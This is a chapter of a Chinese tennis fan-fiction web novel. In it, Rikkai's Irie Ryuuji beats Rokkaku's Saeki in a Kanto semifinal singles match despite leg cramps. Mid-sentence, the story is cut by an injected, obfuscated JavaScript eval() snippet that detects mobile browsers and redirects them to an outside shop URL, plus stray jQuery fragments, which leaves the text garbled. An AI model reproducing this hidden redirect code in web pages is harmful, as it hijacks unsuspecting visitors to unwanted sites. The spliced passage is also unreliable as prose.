18. Chapter 18

作品:《立海恶犬

    周六是一个天高云淡的晴朗天气,在阳光的修饰下,整夜未睡的流司脸上看不出一丝倦怠。


    上午立海大和名士刈的比赛,又一次刷新了关东大会的完赛时长纪录。


    除了恼人的高温,今天的一切对流司来说都堪称完美。


    由于下午还要继续关东大赛的准决赛,上午的比赛结束后立海大众人并没有返程,而是来到了东京网球公园内的一处快餐厅,打算在这里解决午饭。


    他们落座的多人餐桌位于餐厅拐角,正好隔开了餐厅内往来的人流。


    流司和切原一起将最后两盘食物端到桌上,没等流司坐下,切原已经急不可耐地开口询问。


    “部长,下午的比赛能让我上场吗!上午单打二我都没机会比赛。”


    这话一出,对战名士刈时没有上场的几人都看向了幸村。


    “都关东大会半决赛了,我们总不能还是抽签吧?”


    流司说着目光转向了柳的网球包,生怕他真的拉开拉链掏出抽签筒来。


    虽然在上次抽签痛失出场机会后,流司已经偷偷把抽签筒藏到了排球部。


    在五双炙热目光的注视下,幸村莞尔一笑:“那就按赤也说的,下午和六角的比赛由轮空的人上场。”


    “不过嘛,出场顺序还是要抽签哦。”


    柳莲二随即将一包薯条举到桌面正上方:“就按薯条长短来决定。”


    流司认命地抽出其中一根,放在餐盘上和其他四根薯条比较了一番。


    “单打三!”流司眉头一挑,又成为立海大抽签制度的忠实拥趸了。


    “那就幸村和毛利前辈双打二,真田和切原双打一,入江单打三。”柳在一旁总结道。


    “太过分了!”


    就在立海大准备继续吃午饭的时候,墙边拐角冷不丁伸出来一个毛绒绒的小寸头。最靠近墙角的柳生感受到拂过后颈的气息,当场呼吸一滞,动作定格。


    仁王伸出一根手指轻轻一推,柳生差点直愣愣地歪倒在地。


    “这就是绅士吗,失去意识的时候也要核心收紧。”坐在柳生对面的丸井扑哧一笑,看向墙角探出大半个身体的小寸头。


    他穿着一件垂到膝盖上方的暗红色无袖背心,初见棱角的小脸上满是愤愤不平:


    “太没有体育精神了!你们怎么可以这么草率地决定出场名单!”


    “我们六角可是千叶最强的学校!”


    丸井双手环胸,歪着头问道:“千叶最强?那你知不知道,我们立海大是全国最强的学校?”


    “欸?”小寸头目光一呆,声音里少了几分底气:“那、那也不能——”


    “剑太郎!你一个人在这儿做什么呢!”近在耳边的呼唤让剑太郎回过头去。


    “是立海大!好巧!”转过拐角的黑羽春风这才看到了立海大众人。


    在他的背后,一群穿着暗红色无袖背心的六角正选领着几个小孩乌泱泱围了上来。


    “啊,霸王堡。”一头橘色中长发的天根光指着真田手中的汉堡,“吃了会睡在乌龟的城堡里,打麻将。”


    一股突如其来的冷风让在场除了天根光之外的所有人打了个寒颤。


    黑羽春风眉头紧皱,嘴角抽搐了半晌,还是没忍住一个高抬腿把天根光扫到了地上。


    他理了理衣角向真田微微颔首:“失礼了,我们今年的部长实在是有点让人难以忍受。”


    真田:“……”连不要松懈都说不出口了。


    作为六角副部长的佐伯虎次郎自然而然地开始上前寒暄,似乎对这个发生过千百次的场景见怪不怪。


    他的目光在立海大众人脸上逡巡,视线划过流司时停顿了片刻:“啊,是立海恶犬君!很期待和你的比赛。”佐伯脸上扬起一个颇为爽朗的笑容。


    时隔多月又一次听到这个称呼的流司呼吸一滞,脸上浮现出大脑宕机的茫然——他怎么就,摆脱不了这两个字了呢。


    立海众人的目光也略带诧异地投向他。在连绰号都没有死角的立海大,在其他人被称作神之子、皇帝、军师、天才……的立海大,流司的诨号像二郎神的哮天犬一样突兀地掉了档次。


    佐伯虎次郎翻开手机,精准地找到那个浏览量和讨论度都还蛮低的词条,举到了流司面前。


    看着屏幕上并列到一起的#斗南恶犬和#立海恶犬标签,还有几张模糊的比赛照片,流司立刻明白,城成湘南的后援团不知何时和斗南的人对上了暗号。


    一个学期还没有结束,他极力掩盖的绰号就死灰复燃地找上了门。


    “等我升上国一,我一定会打败你们的!”被忽略的剑太郎鼓了鼓脸颊。


    下午比赛时的温度烤的流司头顶发烫,场边的树叶都意兴阑珊不再摇动。虽然才刚刚站上底线,流司的鬓角处却已经有汗水开始滑落。


    第一局是佐伯的发球局。


    他的攻势并不算迅猛,但球与球之间的变化极为多样,或深或浅,或快或慢。


    流司在与他拉球的过程中几乎跑遍了整个半场,而无论他跑动到哪里,以什么样的方式回球,佐伯的视线始终如影随形。


    即便流司成功破发拿下了第一局比赛,佐伯的脸上仍是一副尽在掌握的波澜不惊。


    果不其然,场上的局势在第二局急转直下。


    观察了流司一整局的佐伯开始显露他真正的手段。


    流司感觉自己成了一头撞进陷阱,被猎人一步步缩小包围圈围追堵截的猎物。


    无论他往哪个角度击球,佐伯总能提前预判到球路引拍等待。


    不管他朝哪个方向跑动,网球永远被抽打到截然相反的位置。


    他好像被佐伯虎次郎完全看穿了。


    “据说佐伯一直在研习剑道。”场边的柳莲二语气平静地分析道,“他能够通过绝佳的动态视力,捕捉到对手击球前的肌肉变化,预判其击球轨迹和跑动方位,从而做出精准地应对。”


    “怪不得流司的假动作完全没用。”选手席上的切原懒散地将手撑在身后,虽然流司的比分1-2落后,他的脸上却看不出丝毫担心。


    流司捏紧了手中的网球,几个呼吸间下定了决心。


    既然佐伯的预判能力远超常人,那让他所有的预判都失去意义就好了!


    原地拍击几下后,网球被高高抛起到比肩太阳的位置。


    “砰——”


    流司全身的力道随着球拍挥动倾泻而出,飘扬的衣摆露出一小节瘦薄而肌肉分明的腰身。


    “好快!”剑太郎轻呼一声。


    佐伯虎次郎已经提前站到了球路的末端,他的视线牢牢锁定在空中的网球上,手下力道加重,将球拍握得更紧。


    高速旋转的网球带着撕裂空气的力道撞上拍线,在震荡传到佐伯虎口的瞬间,网球直接弹飞出界,没有给他任何发力反击的余地。


    “球速和力量都增加了。”佐伯虎次郎不禁心下一沉。


    但更让佐伯意想不到的是,流司不仅是发球的球质大幅提升,跑动回球的频率和球速也同样跟着加快。


    这让佐伯几乎失去了反应的空间,即便他在流司快速跑动时依然能洞察肌肉的走向,但过快的球速让他来根本来不及提前就位。


    网球在距离球拍半米的位置落地弹开,佐伯的身体却还维持着爆发跑动的姿势,因为惯性继续向前迈了几步。


    在绝对的力量与速度面前,精准的预判除了让他提前知道自己会丢掉一分外,再无任何作用。


    “流司这家伙,明明实力能碾压,非要玩这种绝地反击的戏码。”看着陷入自我怀疑的佐伯虎次郎,丸井没忍住撇了撇嘴,也不知道流司这恶劣的喜好到底是跟谁学的。


    喜欢人为制造绝地反击的流司很快遭


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467934|201324||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到了报应。


    高温下的持续爆发让流司的体力消耗的更快,一记速度有所降低的球,让佐伯成功打出了一个角度极为刁钻的回球。


    原本全速向右的流司脚步一顿,鞋底在场上磨出刺耳的声响,他依靠着强大的核心强行扭转身体,向着来球的左侧二次启动。


    舒展到极致的手臂在跑动中全力挥出一记高速的斜线反抽。


    “咚——”


    失去平衡的流司和网球一同摔倒在场边。


    “game立海大,入江流司,4-2。”


    教练席上的幸村眉头微颦,蹲下身快速按压上流司痉挛的小腿:“放松些,流司。”


    躺倒在地的流司痛苦地皱紧了眉头,他勾起脚尖试图伸直小腿,却在一阵更加剧烈的肌肉绞痛中失去了所有力气。


    或许是因为他的身体正处于抽条的阶段,纤瘦的身体和单薄的肌肉难以承受太高强度的对抗,在高温与爆发的双重的影响下,过早地到达了失控边缘。


    来自肌肉深层的剧痛让流司难以维持平稳的呼吸,他张张嘴想回应幸村,却吐不出半个字来,就连大脑都开始阵阵发晕。


    裁判却在这时俯下身,点了点腕上的手表:“你还可以继续吗,入江君?抽筋不属于伤停的范畴,你需要在1分钟内回到赛场上,否则会被视为弃权。”


    幸村的眼神骤然凌厉,带着冰冷的怒气抬头看去。高坐椅上的裁判却无动于衷地按下了计时按钮。


    微弱的滴答声一下下响起,流司心里默数着,双手攀上身旁的长椅,咬牙把自己撑了起来,一瘸一拐地挪回底线。


    丧失了主动权的流司被佐伯调动着满场跑动,他既无法快速终结比赛,也不甘心就这样将胜利拱手让人。


    每一次移动都成了巨大的折磨。


    在骤然降速的比赛中,比分被佐伯一点点追平。


    时间的推移让室外的温度更加难以忍受,仁王已经一声不吭的撑起了遮阳伞,将自己蜷缩到一小片阴影当中。


    流司却顶着满头大汗,感觉自己浑身发冷。


    小腿的抽痛不仅没有缓解,反倒沿着身体开始蔓延,就连小臂都有了隐隐的痛感。


    拖延时间以期抽筋缓解的策略显然是行不通了,流司不得不立刻做出改变。


    又一次发球局,流司引拍向上,摆出他常用的高速发球姿势。


    佐伯惊讶于他在此时还能做出这样的尝试,身体却下意识开始跑动就位。


    然而,在球拍触及网球的最后一刻,流司的手腕以一个极细微的角度轻微翻转,所有的力道化作乌有。


    轻盈的短球无声坠地。


    “那是……神城的幻雾?”柳微微睁开了双眼。


    距离上次比赛不过一周的时间,他竟然已经掌握了神城的得意技。


    场上反应过来的佐伯冲向网前,但一切已成定局。


    “game立海大,入江流司,6-4。”


    当最后一球尘埃落定,流司已无力再支撑身体。他放任自己瘫倒在地上,浑身的汗水在地上洇出隐约的人形,勾勒成一个虚假的命案现场。


    刺目的阳光无情地穿透流司紧闭的双眼,他却连抬起手臂遮挡的力气都没有了。


    直到一小片阴凉遮住了他。


    佐伯虎次郎将流司的手臂架到自己的肩膀上,一手揽住他的肩膀,一手穿过他的膝弯,直接原地把他抱了起来。


    “真是精彩的比赛呢,入江桑。”逆着光的佐伯露出一个颇为清爽的微笑。


    流司:“?”虽然你叫虎次郎但不代表你可以这么虎!


    他现在需要的是苹果醋和按压舒缓,而不是四肢悬空无力回天!


    流司两眼一翻,干脆利落地装死过去。


    与此同时,不远处的球场传来了格外震天动地的呐喊声:“胜者是冰帝!胜者是迹部!”